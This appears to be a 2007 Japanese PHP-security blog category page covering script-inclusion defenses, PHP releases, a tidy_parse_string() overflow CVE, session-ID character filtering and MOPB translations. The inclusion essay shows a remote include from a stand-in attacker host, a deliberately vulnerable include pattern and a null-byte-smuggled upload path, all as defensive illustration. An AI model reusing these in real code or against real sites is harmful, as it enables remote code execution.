カテゴリー: Development

  • スクリプトインクルード問題の根本的解決策

    スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

    デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

    include(‘http://evil.example.com/attack.php’);

    の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

    しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

    PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

    「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

    スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

    パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

    ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

    include($_GET[‘module_name’].’.php’);

    が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

    include(“/www/upload/evil.gif¥0.php”);

    のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

    意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

    パッチ作成は割と簡単です。欲しい方います??

  • MOPBの攻撃コードサンプルが削除される

    ドイツで他人のコンピュータを攻撃するソフトウェアの公開などを禁止する法律が施行されたためMOPBの攻撃コードが削除されました。

    (さらに…)

  • PHP 5.2.4

    ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。

    http://qa.php.net/

    どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプリケーションの動作に支障が無いかテストできます。

    しかし、普通は開発版で常に動作テストは行えません。次のバージョンがリリースされる前にしばらくの間RC版(Release Candidate版)がテスト用に配布されます。RC版の間であればクラッシュバグや意図的でない動作仕様の違いなどをバグレポートとして提出すればリリース前に修正される可能性が高くなります。パッチを付けて送付すれば適用される可能性も高くなります。RCで動作テストを十分行っていればリリースされた場合にセキュリティフィックスが含まれいても慌てることはありません。

    大規模にシステムを運用している会社であればRC版からの動作テストのメリットは非常に多いです。RC版からの動作テスト&フィードバックを強くお勧めします。

  • HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ

    b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです… 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。

    昨日から今日までMac版のFirefoxなら正常に表示、Win版だとISO-8859-1になって文字化けしていました。(多分IEも同様だったはず)

    文字列の比較はできるかぎり厳密に行う方が良いですがHTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの比較では大文字/小文字を無視した方が無難だと思います。Win版Firefoxがへんな値に設定しているとは思いますが、統計アプリなどでみるとかなり変わったエンコーディング名になっている場合もあるようです。

    エンコーディングをUTF-8で統一しているなら

    conf/_locales.phpを以下に設定し

    $evo_charset=’utf-8′;
    $force_io_charset_if_accepted=’utf-8′;
    $db_config[‘connection_charset’]=’utf-8′;
    $default_locale=’ja-JP’;

    必要ないような気もしますがこのファイルに定義してあるlocaleでiso-8859-1エンコーディングは全てutf-8に変更しました。

    inc/MODEL/settings/_locale.funcs.phpのinit_charset関数でなにもせずにreturn

    function init_charset( $req_io_charset )
    {
    return;

    すれば文字化けは解消します。

    追記:
    これでもISO-8859-1になって文字化けするケースがありますね… 時間がないので場当たり対処策としてindex.phpの最後に

    header(‘text/html; charset=UTF-8′);

    を追加しました。ロケールの処理にはいろいろ問題があるようです。どこかで無理矢理ISO-8859-1にするくらいならデフォルトUTF-8にしておけば良いと思います。

    さらに追記:
    上記の変更を行うとRSSフィードのXMLエンコーディングの部分が空になり、XMLエラーとなってRSSリーダが処理できない不具合が発生する事が分かりました。ソースを見れば一目瞭然で文字エンコーディングを指定する変数が空であることが原因でした。

    conf/_basic_conf.phpに

    $io_charset=’utf-8’;

    を追加すると直ります。アップグレードマニュアルにはこのファイルは前のファイルで上書きするように、と書いてあったのですが追加設定が必要だったのかも。

  • PHP4からPHP5への移行について

    PHP4のサポート終了がアナウンスされことに伴い、技術評論社の方からPHP4からPHP5への移行の記事を書く事になりました。毎週新しい記事が公開されます。下記のURLが最初の記事で8/2(予定)から順次続きが公開されます。

    http://gihyo.jp/dev/feature/01/php-migration/0001?page=1

    記事を書いてみて思ったのですが、自分にとってはPHP4とPHP5両方で動作するコードを書くのはそう難しくないのですが時々PHPでコードを書いている方、PHPの開発状態を把握していない方には結構難しいのではないかと思いました。今回の記事は「移行」にのみ焦点をあててPHP5の新機能はほとんど紹介しませんでしたがかなりボリュームになってしまいました。それでも十分とは言えないです。PHP5への移行をお考えのかたは8/2から上記URLを参考にして頂ければ幸いです。

    ところで、隔週(の予定…で実際は月一回くらい…)でセキュリティ関係の記事も http://gihyo.jp/ にて連載しています。こちらもよろしくお願いします。

    http://gihyo.jp/serial/2007/php-security

    どの記事でもコメントなどございましたらメールで頂けると助かります。

  • PHPでQtアプリ

    PHPでGTKアプリが作れるPHP-GTKは以前からありましたが、PHPでQtアプリが作れるPHP-Qt 0.1がリリースされています。

    The PHP-Qt team is pleased to announce the immediate release of PHP-Qt Version 0.1!
    It’s been nearly a year since the release of version 0.0.3 and many, many things have changed, including the move to using the Smoke library.
    A few of the changes from 0.0.3 to 0.1 are:

    * Unit tests based on phpunit
    * Overriding of Qt methods in PHP classes
    * Improved startup time
    * Improved runtime speed
    * improved inheritance
    * CMake-based build system
    * Support for references
    * There is now a global tr() function
    * Based on the Smoke library
    * License: GPL (see note below)

  • PHP4のサポート終了は2008/8/8

    現状でもセキュリティフィックスの状態があまり良いとはいえないのでPHP5が利用できる場合は積極的にPHP5を利用すべきですが、2007/12/31まで通常メンテナンス、以後2008/8/8までセキュリティフィックスには対応ということです。

    まだの方は早くPHP5に移行しましょう。

    間違っても5.1系に移行しないようにしましょう… 5.1系は今現在もメンテナンスされていません… 5.2系のみメンテナンスされています。

  • tidy_parse_string() オーバーフロー

    CVE-2007-3294にtidy_parse_string()オーバーフローが登録されています。

    http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3294

    に脆弱性情報のソースURLが記載されています。

    http://www.milw0rm.com/exploits/4080

    すぐに応用可能な実証コード付きです。Linuxだと影響が大きすぎると考えたのか、実証コードの作成者がWindows環境が得意なのか、Windows環境のコードになっています。

    tidy_parse_string()の第二引数(動作設定用パラメータ)のオーバーフローを利用しているので専用サーバで運用しているユーザにはあまり重要な脆弱性ではありません。(普通のコードならローカルからしか攻撃できない)しかし、PHPの場合、共有ホスティング環境で運用すできでないアプリケーション(たとえばECアプリ)も多く利用されているので「Base score: 7.5 (High) 」とレーティングされても仕方ないところでしょう。

  • PHPセッションの問題修正

    Stefanさんのブログに書いてあったので気がついたのですが

    http://cvs.php.net/viewvc.cgi/php-src/ext/session/session.c?r1=1.417.2.8.2.35&r2=1.417.2.8.2.36

    に結構面白いコミットがされています。CVS版なので正式リリースになるかは不明です。成り行きはがどうなるかは興味深いです。

    MOPBで解説されていたセッションIDにインジェクションができる問題を修正しようとブラックリスティングで対応させようとしたようです。ブラックリスティングより暗号化した方が安全性と互換性を確保するのが簡単なのですがZend社の社員によるコミットだったのですがZend Platformとの互換性も維持できないパッチになっているようです。Stefanさんのブログを見るとかなり皮肉な書き方であることが分かります。このような文面になった背景にはZend社の社員により「PHP開発者に知らせず脆弱性を公開した」とあらぬ言いがかりを付けられためだと思います。

    非常に古いPHPの場合、セッションIDには好みの文字列が設定できたのですが最近のPHPは

    \r\n\t <>’\”\\

    が不正な文字として登録されています。\r\nはヘッダスプリティング、<>’”\はXSSに明らかに利用できるので不正としても仕方ない文字ですが、

    ()@,;:[]?={}&%

    も新たに不正な文字に加えられたました。:はZend Platformでも使っている文字だそうです。
    備考: セッションIDに管理用の文字列を付け加えるのは珍しいことではありません。負荷分散や分散されたサーバ間でのデータ共有など様々な用途に管理用の文字列を付け加える場合があります。

    暗号化による対処の方がシンプルかつ安全な対策だと思います…

    ところで、単純にクッキーだけでセッションIDを使っている場合には問題は発生しません。つまりsession.use_trans_sid=0, session.use_only_cookies=1でPHPを使っていれば現在のPHPを使っていてもここで問題としている不具合には影響されません。

  • PHP 5.2.3リリース

    日本語環境でMySQLを利用している方には、リリースノートに記載されているmysql_set_charset()の追加に重要な意味がある方も多いと思います。

    Added mysql_set_charset() to allow runtime altering of connection encoding.

    PHP4にはまだ追加されていませんがかなり重要なセキュリティフィックスだと思います。mysql_set_charset()はlibmysqlのmysql_set_character_set()の簡単なラッパー関数です。

    http://dev.mysql.com/doc/refman/4.1/en/mysql-real-escape-string.html

    “If you need to change the character set of the connection, you should use the mysql_set_character_set() function rather than executing a SET NAMES (or SET CHARACTER SET) statement. mysql_set_character_set() works like SET NAMES but also affects the character set used by mysql_real_escape_string(), which SET NAMES does not”

    つまりSET NEMESだと文字エンコーディングを利用したSQLインジェクションに脆弱となる可能性があります。共有型サービスを利用されている場合、SET NAMESを使用している方も多いと思います。

    ググってみると2005年11月には日本のMySQLユーザ会MLでは問題が認識されていたようです。

  • MOPB-44-2007:PHP 5.2.0 Memory Manager Signed Comparison Vulnerability

    Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

    (さらに…)

  • MOPB-43-2007:PHP msg_receive() Memory Allocation Integer Overflow Vulnerabilty

    Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

    (さらに…)

  • MOPB-42-2007:PHP 5 php_stream_filter_create() Off By One Vulnerablity

    Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

    (さらに…)

  • MOPB-41-2007:PHP 5 sqlite_udf_decode_binary() Buffer Overflow Vulnerability

    Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

    (さらに…)

  • MOPB-40-2007:PHP imap_mail_compose() Boundary Stack Buffer Overflow Vulnerability

    Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

    (さらに…)